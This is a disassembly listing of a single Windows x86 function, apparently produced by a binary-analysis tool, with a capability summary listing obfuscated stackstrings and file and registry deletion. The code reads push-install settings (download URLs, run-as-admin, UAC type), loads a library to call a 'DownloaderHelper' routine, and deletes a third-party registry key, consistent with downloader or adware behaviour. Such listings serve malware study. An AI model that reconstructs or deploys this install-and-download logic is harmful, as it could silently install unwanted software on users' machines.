Function at 0x42d77b
Capabilities:
Contain obfuscated stackstrings
Delete file
Delete registry key
Get common file path
Get file size
Move file
Parse pe header
Read file on windows
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x268bc]
mov eax, 0x268bc
call fcn.0043b740
push 0xffffffffffffffff
push 0x4c2995
mov eax, dword fs:[0]
push eax
sub esp, 0x26c
mov eax, dword [0x506550]
xor eax, ebp
mov dword [ebp + 0x268b8], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], ecx
call fcn.0040cea1
mov ecx, eax
call fcn.0040a80e
push eax
lea ecx, [ebp + 0x265b4]
call fcn.004015c0
xor edi, edi
push 0x4c6e7c
lea ecx, [ebp + 0x265b4]
mov dword [ebp - 4], edi
call fcn.004036c0
push 0x4dfb94
lea ecx, [ebp + 0x265b4]
call fcn.004036c0
lea eax, [ebp + 0x265b4]
push eax
lea ecx, [ebp + 0x265ec]
call fcn.004035b0
lea eax, [ebp + 0x265b4]
push eax
lea ecx, [ebp + 0x2649c]
mov byte [ebp - 4], 1
call fcn.004035b0
push str._SlationExeName_.exe
lea ecx, [ebp + 0x2649c]
mov byte [ebp - 4], 2
call fcn.004036c0
push 0x206
lea eax, [ebp + 0x266b2]
push edi
push eax
mov word [ebp + 0x266b0], di
call fcn.0043b4c0
lea eax, [ebp + 0x265b4]
push eax
lea eax, [ebp + 0x26560]
push eax
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x74], edi
call fcn.0041c931
add esp, 0x14
push str.Temp.xml
lea ecx, [ebp + 0x26560]
mov byte [ebp - 4], 3
call fcn.0040af86
lea eax, [ebp + 0x26560]
push eax
lea eax, [ebp + 0x26598]
push eax
call fcn.0041d003
pop ecx
pop ecx
cmp dword [ebp + 0x265b0], 8
mov eax, dword [ebp + 0x2659c]
mov byte [ebp - 4], 4
jae 0x42d8ae
lea eax, [ebp + 0x2659c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp + 0x265b4]
push eax
lea eax, [ebp + 0x264b8]
push eax
call fcn.0041c931
pop ecx
pop ecx
push str.Config.xml
lea ecx, [ebp + 0x264b8]
mov byte [ebp - 4], 5
call fcn.0040af86
lea eax, [ebp + 0x265b4]
push eax
lea eax, [ebp + 0x264d4]
push eax
call fcn.0041c931
pop ecx
pop ecx
push str.temp.dat
lea ecx, [ebp + 0x264d4]
mov byte [ebp - 4], 6
call fcn.0040af86
lea ecx, [ebp - 0x278]
call fcn.0045c6d0
push 0x38
mov byte [ebp - 4], 7
call fcn.00431563
pop ecx
mov dword [ebp - 0x1c], eax
cmp eax, edi
mov byte [ebp - 4], 8
je 0x42d941
push 0x4dfb90
push 0x4cc8bc
push 0x4cc8b8
mov ecx, eax
call fcn.0045cb00
jmp 0x42d943
xor eax, eax
push eax
lea ecx, [ebp - 0x278]
mov byte [ebp - 4], 7
call fcn.0045bd60
push 0x50
call fcn.00431563
pop ecx
mov dword [ebp - 0x1c], eax
cmp eax, edi
mov byte [ebp - 4], 9
je 0x42d977
push str.TheQueryInfo
mov ecx, eax
call fcn.0045cfe0
mov dword [ebp - 0x38], eax
jmp 0x42d97a
mov dword [ebp - 0x38], edi
push 0x50
mov byte [ebp - 4], 7
call fcn.00431563
pop ecx
mov dword [ebp - 0x1c], eax
cmp eax, edi
mov byte [ebp - 4], 0xa
je 0x42d9a2
push str.PushList
mov ecx, eax
call fcn.0045cfe0
mov dword [ebp - 0x20], eax
jmp 0x42d9a5
mov dword [ebp - 0x20], edi
push str.anV6aWJyb3dzZQ
lea ecx, [ebp + 0x2650c]
mov byte [ebp - 4], 7
call fcn.004015c0
sub esp, 0x1c
lea eax, [ebp + 0x2650c]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
mov byte [ebp - 4], 0xb
call fcn.004035b0
mov ecx, dword [ebp - 0x34]
lea eax, [ebp + 0x26528]
push eax
call fcn.0040eeb2
push str.aGFvMTIza2FudHU
lea ecx, [ebp + 0x2650c]
mov byte [ebp - 4], 0xc
call fcn.00401790
sub esp, 0x1c
lea eax, [ebp + 0x2650c]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.004035b0
mov ecx, dword [ebp - 0x34]
lea eax, [ebp + 0x264f0]
push eax
call fcn.0040eeb2
mov esi, dword [ebp + 0x268c4]
mov eax, dword [esi + 8]
add esi, 4
push esi
push eax
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x1c], esi
call fcn.0040e350
mov eax, dword [esi + 8]
push esi
jmp 0x42f355
lea ecx, [ebp - 0x9c]
call fcn.0040ce80
mov ebx, dword [eax + 0x1c]
push str.PushName
lea ecx, [ebp + 0x265d0]
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp + 0x265d0]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0xe
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp + 0x265d0]
mov byte [ebp - 4], 0xd
call fcn.004017c0
push str.ChooseInstall
lea ecx, [ebp + 0x265d0]
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp + 0x265d0]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0xf
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp + 0x265d0]
mov esi, eax
mov byte [ebp - 4], 0xd
call fcn.004017c0
cmp esi, edi
je 0x42f343
cmp dword [esi + 0x18], 8
jb 0x42dacb
mov esi, dword [esi + 4]
jmp 0x42dace
add esi, 4
push 0x4c7454
push esi
call fcn.0043c72d
test eax, eax
pop ecx
pop ecx
jne 0x42f343
push str.PushName
lea ecx, [ebp + 0x265d0]
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp + 0x265d0]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x10
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp + 0x265d0]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0xd
call fcn.004017c0
push str.PushKeyName
lea ecx, [ebp - 0x134]
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp - 0x134]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x11
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp - 0x134]
mov dword [ebp - 0x5c], eax
mov byte [ebp - 4], 0xd
call fcn.004017c0
push str.InstallPushUrl
lea ecx, [ebp + 0x26624]
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp + 0x26624]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x12
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp + 0x26624]
mov esi, eax
mov byte [ebp - 4], 0xd
call fcn.004017c0
push str.InstallPush32Url
lea ecx, [ebp + 0x26678]
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp + 0x26678]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x13
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp + 0x26678]
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 0xd
call fcn.004017c0
push str.InstallPush64Url
lea ecx, [ebp + 0x2665c]
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp + 0x2665c]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x14
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp + 0x2665c]
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0xd
call fcn.004017c0
push str.InstallProgramName
lea ecx, [ebp - 0x1f8]
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp - 0x1f8]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x15
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp - 0x1f8]
mov dword [ebp - 0xa8], eax
mov byte [ebp - 4], 0xd
call fcn.004017c0
push str.InstallAppDataName
lea ecx, [ebp - 0x1dc]
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp - 0x1dc]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x16
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp - 0x1dc]
mov dword [ebp - 0xb0], eax
mov byte [ebp - 4], 0xd
call fcn.004017c0
push str.InstallGreenBag
lea ecx, [ebp + 0x26694]
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp + 0x26694]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x17
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp + 0x26694]
mov dword [ebp - 0xc0], eax
mov byte [ebp - 4], 0xd
call fcn.004017c0
push str.InstallRunParam
lea ecx, [ebp - 0x1a4]
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp - 0x1a4]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x18
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp - 0x1a4]
mov dword [ebp - 0x70], eax
mov byte [ebp - 4], 0xd
call fcn.004017c0
push str.InstallRunExe
lea ecx, [ebp - 0x214]
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp - 0x214]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x19
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp - 0x214]
mov dword [ebp - 0xbc], eax
mov byte [ebp - 4], 0xd
call fcn.004017c0
push str.InstallRunDll
lea ecx, [ebp - 0x188]
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp - 0x188]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x1a
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp - 0x188]
mov dword [ebp - 0xb8], eax
mov byte [ebp - 4], 0xd
call fcn.004017c0
push str.InstallRunDllFnName
lea ecx, [ebp - 0x1c0]
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp - 0x1c0]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x1b
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 0xd
call fcn.004017c0
push str.InstallTempName
lea ecx, [ebp - 0xf4]
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp - 0xf4]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x1c
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp - 0xf4]
mov dword [ebp - 0xa4], eax
mov byte [ebp - 4], 0xd
call fcn.004017c0
push str.InstallRunAdmin
lea ecx, [ebp - 0x230]
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp - 0x230]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x1d
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0xd
call fcn.004017c0
push str.InstallRunLocalExe
lea ecx, [ebp - 0x16c]
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp - 0x16c]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x1e
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp - 0x16c]
mov dword [ebp - 0xac], eax
mov byte [ebp - 4], 0xd
call fcn.004017c0
push str.InstallType
lea ecx, [ebp - 0x150]
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp - 0x150]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x1f
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp - 0x150]
mov dword [ebp - 0x6c], eax
mov byte [ebp - 4], 0xd
call fcn.004017c0
push str.InstallUACType
lea ecx, [ebp - 0x94]
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp - 0x94]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x20
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x28], eax
mov byte [ebp - 4], 0xd
call fcn.004017c0
push str.InstallWmiMode
lea ecx, [ebp - 0x58]
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp - 0x58]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x21
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp - 0x58]
mov dword [ebp - 0xa0], eax
mov byte [ebp - 4], 0xd
call fcn.004017c0
lea ecx, [ebp - 0x118]
call fcn.0040db08
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 0x22
call fcn.0040dac0
test eax, eax
je 0x42def7
cmp dword [ebp - 0x14], edi
je 0x42deff
mov esi, dword [ebp - 0x14]
jmp 0x42deff
cmp dword [ebp - 0x10], edi
je 0x42deff
mov esi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x24]
cmp eax, edi
je 0x42e1cc
cmp dword [eax + 0x18], 8
jb 0x42df1a
add eax, 4
mov dword [ebp - 0x10], eax
mov eax, dword [eax]
jmp 0x42df20
add eax, 4
mov dword [ebp - 0x10], eax
push str.zmbd
push eax
call fcn.0043c72d
test eax, eax
pop ecx
pop ecx
jne 0x42e122
cmp dword [esi + 0x18], 8
jb 0x42df40
mov esi, dword [esi + 4]
jmp 0x42df43
add esi, 4
push esi
lea ecx, [ebp + 0x26694]
call fcn.004015c0
mov eax, dword [ebp + 0x26698]
push 8
pop esi
cmp dword [ebp + 0x266ac], esi
mov byte [ebp - 4], 0x23
jae 0x42df6a
lea eax, [ebp + 0x26698]
lea ecx, [ebp + 0x266b0]
push ecx
push eax
call fcn.0041b613
pop ecx
pop ecx
lea eax, [ebp + 0x265ec]
push eax
lea ecx, [ebp + 0x26640]
call fcn.004035b0
lea eax, [ebp + 0x266b0]
push eax
lea ecx, [ebp + 0x26640]
mov byte [ebp - 4], 0x24
call fcn.004036c0
cmp dword [ebp + 0x26658], esi
mov eax, dword [ebp + 0x26644]
jae 0x42dfb5
lea eax, [ebp + 0x26644]
push eax
call fcn.0041cc69
pop ecx
lea ecx, [ebp - 0xd8]
call fcn.004013a0
cmp dword [ebp + 0x26604], esi
mov eax, dword [ebp + 0x265f0]
mov byte [ebp - 4], 0x25
jae 0x42dfdf
lea eax, [ebp + 0x265f0]
push eax
lea ecx, [ebp - 0x94]
call fcn.004015c0
cmp dword [ebp + 0x266ac], esi
mov eax, dword [ebp + 0x26698]
mov byte [ebp - 4], 0x26
jae 0x42e003
lea eax, [ebp + 0x26698]
push eax
lea ecx, [ebp - 0x58]
call fcn.004015c0
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0x27
call fcn.00401440
movzx eax, al
xor esi, esi
push edi
inc esi
push esi
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x14], eax
call fcn.004017c0
push edi
push esi
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x25
call fcn.004017c0
cmp dword [ebp - 0x14], edi
lea ecx, [ebp - 0x94]
je 0x42e076
push 0x4c7454
call fcn.004015c0
push str.DownloadFlag
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x28
call fcn.004015c0
mov byte [ebp - 4], 0x29
jmp 0x42e095
push 0x4c742c
call fcn.004015c0
push str.DownloadFlag
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x2a
call fcn.004015c0
mov byte [ebp - 4], 0x2b
mov eax, dword [ebx]
lea ecx, [ebp - 0x94]
push ecx
lea ecx, [ebp - 0x58]
push ecx
mov ecx, ebx
call dword [eax + 8]
push edi
push esi
lea ecx, [ebp - 0x58]
call fcn.004017c0
push edi
push esi
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x25
call fcn.004017c0
cmp dword [ebp - 0x14], edi
je 0x42e0f9
cmp dword [ebp + 0x26658], 8
mov eax, dword [ebp + 0x26644]
jae 0x42e0dc
lea eax, [ebp + 0x26644]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp eax, edi
je 0x42e0f9
push str.DownloaderHelper
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, edi
je 0x42e0f9
call eax
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0x24
call fcn.00401430
push edi
push esi
lea ecx, [ebp + 0x26640]
call fcn.004017c0
push edi
push esi
lea ecx, [ebp + 0x26694]
jmp 0x42f32f
cmp dword [ebp + 0x26508], 8
mov ecx, dword [ebp + 0x264f4]
jae 0x42e137
lea ecx, [ebp + 0x264f4]
mov eax, dword [ebp - 0x24]
cmp dword [eax + 0x18], 8
mov eax, dword [ebp - 0x10]
jb 0x42e145
mov eax, dword [eax]
push ecx
push eax
call fcn.0043c72d
test eax, eax
pop ecx
pop ecx
jne 0x42e198
cmp esi, edi
je 0x42f334
lea ecx, [ebp + 0x26130]
call fcn.0043092b
cmp dword [esi + 0x18], 8
mov byte [ebp - 4], 0x2c
jb 0x42e174
mov esi, dword [esi + 4]
jmp 0x42e177
add esi, 4
push esi
push ebx
lea ecx, [ebp + 0x26130]
call fcn.0043104f
lea ecx, [ebp + 0x26130]
mov byte [ebp - 4], 0x22
call fcn.004307af
jmp 0x42f334
cmp dword [ebp + 0x26540], 8
mov ecx, dword [ebp + 0x2652c]
jae 0x42e1ad
lea ecx, [ebp + 0x2652c]
mov eax, dword [ebp - 0x24]
cmp dword [eax + 0x18], 8
mov eax, dword [ebp - 0x10]
jb 0x42e1bb
mov eax, dword [eax]
push ecx
push eax
call fcn.0043c72d
test eax, eax
pop ecx
pop ecx
je 0x42f334
cmp esi, edi
je 0x42f334
cmp dword [esi + 0x18], 8
mov dword [ebp - 0x68], 1
jb 0x42e1e6
mov esi, dword [esi + 4]
jmp 0x42e1e9
add esi, 4
push esi
lea ecx, [ebp + 0x26640]
call fcn.004015c0
mov eax, dword [ebp + 0x26644]
push 8
pop esi
cmp dword [ebp + 0x26658], esi
mov byte [ebp - 4], 0x2d
jae 0x42e210
lea eax, [ebp + 0x26644]
lea ecx, [ebp + 0x266b0]
push ecx
push eax
call fcn.0041b613
pop ecx
pop ecx
lea eax, [ebp + 0x265ec]
push eax
lea ecx, [ebp + 0x26608]
call fcn.004035b0
lea eax, [ebp + 0x266b0]
push eax
lea ecx, [ebp + 0x26608]
mov byte [ebp - 4], 0x2e
call fcn.004036c0
cmp dword [ebp + 0x26620], esi
mov eax, dword [ebp + 0x2660c]
jae 0x42e25b
lea eax, [ebp + 0x2660c]
push eax
call fcn.0041cc69
pop ecx
lea ecx, [ebp - 0xd0]
call fcn.004013a0
cmp dword [ebp + 0x26604], esi
mov eax, dword [ebp + 0x265f0]
mov byte [ebp - 4], 0x2f
jae 0x42e285
lea eax, [ebp + 0x265f0]
push eax
lea ecx, [ebp + 0x26678]
call fcn.004015c0
cmp dword [ebp + 0x26658], esi
mov eax, dword [ebp + 0x26644]
mov byte [ebp - 4], 0x30
jae 0x42e2a9
lea eax, [ebp + 0x26644]
push eax
lea ecx, [ebp + 0x26624]
call fcn.004015c0
lea eax, [ebp + 0x26678]
push eax
lea eax, [ebp + 0x26624]
push eax
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 0x31
call fcn.00401440
movzx eax, al
xor esi, esi
push edi
inc esi
push esi
lea ecx, [ebp + 0x26624]
mov dword [ebp - 0x10], eax
call fcn.004017c0
push edi
push esi
lea ecx, [ebp + 0x26678]
mov byte [ebp - 4], 0x2f
call fcn.004017c0
cmp dword [ebp - 0x10], edi
jne 0x42e43b
lea eax, [ebp + 0x26640]
push eax
lea eax, [ebp + 0x26624]
push eax
mov dword [ebp - 0x10], esi
call fcn.0041c931
cmp dword [eax + 0x18], 0x10
pop ecx
pop ecx
jb 0x42e325
mov eax, dword [eax + 4]
jmp 0x42e328
add eax, 4
push eax
lea eax, [ebp + 0x25e30]
push eax
call fcn.0043c780
pop ecx
pop ecx
push edi
push esi
lea ecx, [ebp + 0x26624]
call fcn.00401740
lea eax, [ebp + 0x265ec]
push eax
lea eax, [ebp + 0x26624]
push eax
call fcn.0041c931
cmp dword [eax + 0x18], 0x10
pop ecx
pop ecx
jb 0x42e364
mov eax, dword [eax + 4]
jmp 0x42e367
add eax, 4
push eax
lea eax, [ebp + 0x26030]
push eax
call fcn.0043c780
pop ecx
pop ecx
push 0
push 1
lea ecx, [ebp + 0x26624]
call fcn.00401740
lea ecx, [ebp]
call fcn.0042561b
sub esp, 0x300
mov edi, esp
mov ecx, 0xc0
lea esi, [ebp + 0x25e30]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp]
mov byte [ebp - 4], 0x32
call fcn.00425ee3
lea ecx, [ebp]
call fcn.00425c2b
lea ecx, [ebp + 0x26184]
call fcn.004255dc
lea ecx, [ebp]
call fcn.00425679
test eax, eax
je 0x42e3e4
lea eax, [ebp + 0x26184]
push eax
lea ecx, [ebp]
call fcn.00425b24
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp]
call fcn.00425685
test eax, eax
je 0x42e3c1
lea eax, [ebp + 0x26184]
push eax
lea ecx, [ebp]
call fcn.00425b24
fld qword [ebp + 0x2648c]
fcomp qword [ebp + 0x26494]
fnstsw ax
test ah, 0x44
jp 0x42e421
fldz
fcomp qword [ebp + 0x26494]
fnstsw ax
test ah, 0x44
jp 0x42e425
and dword [ebp - 0x10], 0
lea ecx, [ebp]
mov byte [ebp - 4], 0x2f
call fcn.00425674
cmp dword [ebp - 0x10], 0
je 0x42e4f9
push 0x4c7454
lea ecx, [ebp + 0x26678]
call fcn.004015c0
push str.DownloadFlag
lea ecx, [ebp + 0x26624]
mov byte [ebp - 4], 0x33
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp + 0x26678]
push ecx
lea ecx, [ebp + 0x26624]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x34
call dword [eax + 8]
xor edi, edi
push edi
push 1
lea ecx, [ebp + 0x26624]
call fcn.004017c0
push edi
push 1
lea ecx, [ebp + 0x26678]
mov byte [ebp - 4], 0x2f
call fcn.004017c0
mov eax, dword [ebp - 0x24]
push 8
pop esi
cmp dword [eax + 0x18], esi
jb 0x42e4aa
mov eax, dword [eax + 4]
jmp 0x42e4ad
add eax, 4
push str.alimama
push eax
call fcn.0043c72d
test eax, eax
pop ecx
pop ecx
jne 0x42e55d
lea eax, [ebp - 0x78]
push eax
push 0xf003f
push edi
push str.Software
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x42e55d
push str.AlimamaShortcuts
push dword [ebp - 0x78]
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x42e55d
push 0x4c742c
lea ecx, [ebp + 0x26624]
call fcn.004015c0
push str.DownloadFlag
lea ecx, [ebp + 0x265d0]
mov byte [ebp - 4], 0x35
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp + 0x26624]
push ecx
lea ecx, [ebp + 0x265d0]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x36
call dword [eax + 8]
push 0
push 1
lea ecx, [ebp + 0x265d0]
call fcn.004017c0
push 0
push 1
lea ecx, [ebp + 0x26624]
mov byte [ebp - 4], 0x2f
call fcn.004017c0
push 8
xor edi, edi
pop esi
cmp dword [ebp + 0x26604], esi
mov ecx, dword [ebp + 0x265f0]
jae 0x42e571
lea ecx, [ebp + 0x265f0]
cmp dword [ebp + 0x26658], esi
mov eax, dword [ebp + 0x26644]
jae 0x42e585
lea eax, [ebp + 0x26644]
push dword [ebp - 0x10]
push ecx
push eax
push str.__s___s___d_
call fcn.0041bccd
add esp, 0x10
cmp dword [ebp - 0x10], edi
je 0x42f309
cmp dword [ebp + 0x26604], esi
mov eax, dword [ebp + 0x265f0]
jae 0x42e5b4
lea eax, [ebp + 0x265f0]
push eax
lea ecx, [ebp + 0x2665c]
call fcn.004015c0
lea eax, [ebp + 0x266b0]
push eax
lea ecx, [ebp + 0x26624]
mov byte [ebp - 4], 0x37
call fcn.004015c0
mov eax, dword [ebp - 0xc0]
cmp eax, edi
mov byte [ebp - 4], 0x38
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], edi
je 0x42e826
cmp dword [eax + 0x18], esi
jb 0x42e5f8
mov eax, dword [eax + 4]
jmp 0x42e5fb
add eax, 4
push 0x4c7454
push eax
call fcn.0043c72d
test eax, eax
pop ecx
pop ecx
jne 0x42e826
push 0x4dfbb4
lea ecx, [ebp + 0x26694]
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x68], edi
call fcn.004015c0
mov esi, dword [ebp - 0xa8]
cmp esi, edi
mov byte [ebp - 4], 0x39
je 0x42e659
push 0x206
lea eax, [ebp + 0x26296]
push edi
push eax
mov word [ebp + 0x26294], di
call fcn.0043b4c0
add esp, 0xc
push edi
push 0x26
jmp 0x42e682
mov esi, dword [ebp - 0xb0]
cmp esi, edi
je 0x42e6b4
push 0x206
lea eax, [ebp + 0x26296]
push edi
push eax
mov word [ebp + 0x26294], di
call fcn.0043b4c0
add esp, 0xc
push edi
push 0x1a
lea eax, [ebp + 0x26294]
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp + 0x26294]
push eax
lea ecx, [ebp + 0x26694]
call fcn.00401790
push 0x4dfb94
lea ecx, [ebp + 0x26694]
call fcn.004036c0
jmp 0x42e6fe
mov esi, dword [ebp - 0xa4]
cmp esi, edi
je 0x42e72a
push 0x206
lea eax, [ebp + 0x26296]
push edi
push eax
mov word [ebp + 0x26294], di
call fcn.0043b4c0
add esp, 0xc
lea eax, [ebp + 0x26294]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp + 0x26294]
push eax
lea ecx, [ebp + 0x26694]
call fcn.00401790
cmp dword [esi + 0x18], 8
jb 0x42e709
mov esi, dword [esi + 4]
jmp 0x42e70c
add esi, 4
push esi
lea ecx, [ebp + 0x26694]
call fcn.004036c0
push 0x4dfb94
lea ecx, [ebp + 0x26694]
call fcn.004036c0
jmp 0x42e742
call fcn.0040cea1
mov ecx, eax
call fcn.0040afd0
push eax
lea ecx, [ebp + 0x26694]
call fcn.00401790
push 0xffffffffffffffff
push edi
lea eax, [ebp + 0x26694]
push eax
lea ecx, [ebp + 0x2665c]
call fcn.00401d30
cmp dword [ebp + 0x26604], 8
mov eax, dword [ebp + 0x265f0]
jae 0x42e76c
lea eax, [ebp + 0x265f0]
push eax
lea ecx, [ebp + 0x26678]
call fcn.004015c0
push 0xffffffffffffffff
push edi
lea eax, [ebp + 0x26624]
push eax
lea ecx, [ebp + 0x26678]
mov byte [ebp - 4], 0x3a
call fcn.00403b40
lea eax, [ebp + 0x26678]
push eax
lea eax, [ebp - 0xf4]
push eax
call fcn.0041c931
pop ecx
pop ecx
cmp dword [eax + 0x18], 0x10
mov byte [ebp - 4], 0x3b
jb 0x42e7b5
mov eax, dword [eax + 4]
jmp 0x42e7b8
add eax, 4
cmp dword [ebp + 0x266ac], 8
mov ecx, dword [ebp + 0x26698]
jae 0x42e7cd
lea ecx, [ebp + 0x26698]
push edi
push edi
push eax
push ecx
call fcn.0040987b
add esp, 0x10
push edi
push 1
lea ecx, [ebp - 0xf4]
call fcn.00401740
cmp dword [ebp + 0x26690], 8
mov eax, dword [ebp + 0x2667c]
jae 0x42e7fc
lea eax, [ebp + 0x2667c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push edi
push 1
lea ecx, [ebp + 0x26678]
call fcn.004017c0
push edi
push 1
lea ecx, [ebp + 0x26694]
mov byte [ebp - 4], 0x38
call fcn.004017c0
push 8
pop esi
mov eax, dword [ebp - 0xbc]
cmp eax, edi
je 0x42e8f3
cmp dword [eax + 0x18], esi
jb 0x42e83e
mov eax, dword [eax + 4]
jmp 0x42e841
add eax, 4
push eax
lea ecx, [ebp + 0x26624]
call fcn.00401790
push 0xffffffffffffffff
push edi
lea eax, [ebp + 0x26624]
push eax
lea ecx, [ebp + 0x2665c]
call fcn.00403b40
cmp dword [ebp - 0x14], edi
jne 0x42ec6b
cmp dword [ebp + 0x26674], esi
mov ecx, dword [ebp + 0x26660]
jae 0x42e87f
lea ecx, [ebp + 0x26660]
cmp dword [ebp + 0x26620], esi
mov eax, dword [ebp + 0x2660c]
jae 0x42e893
lea eax, [ebp + 0x2660c]
push ecx
push eax
call fcn.0041b733
cmp dword [ebp + 0x26674], esi
pop ecx
pop ecx
mov ecx, dword [ebp + 0x26660]
jae 0x42e8b0
lea ecx, [ebp + 0x26660]
cmp dword [ebp + 0x26620], esi
mov eax, dword [ebp + 0x2660c]
jae 0x42e8c4
lea eax, [ebp + 0x2660c]
push ecx
push eax
push str.__s___s_
call fcn.0041bccd
mov eax, dword [ebp + 0x2660c]
add esp, 0xc
cmp dword [ebp + 0x26620], esi
jae 0x42e8e7
lea eax, [ebp + 0x2660c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x42ec6b
mov eax, dword [ebp - 0xb8]
cmp eax, edi
je 0x42ec59
cmp dword [eax + 0x18], esi
mov dword [ebp - 0x10], 1
jb 0x42e912
mov eax, dword [eax + 4]
jmp 0x42e915
add eax, 4
push eax
lea ecx, [ebp + 0x26624]
call fcn.00401790
push 0xffffffffffffffff
push edi
lea eax, [ebp + 0x26624]
push eax
lea ecx, [ebp + 0x2665c]
call fcn.00403b40
cmp dword [ebp - 0x14], edi
jne 0x42e9c2
cmp dword [ebp + 0x26674], esi
mov ecx, dword [ebp + 0x26660]
jae 0x42e953
lea ecx, [ebp + 0x26660]
cmp dword [ebp + 0x26620], esi
mov eax, dword [ebp + 0x2660c]
jae 0x42e967
lea eax, [ebp + 0x2660c]
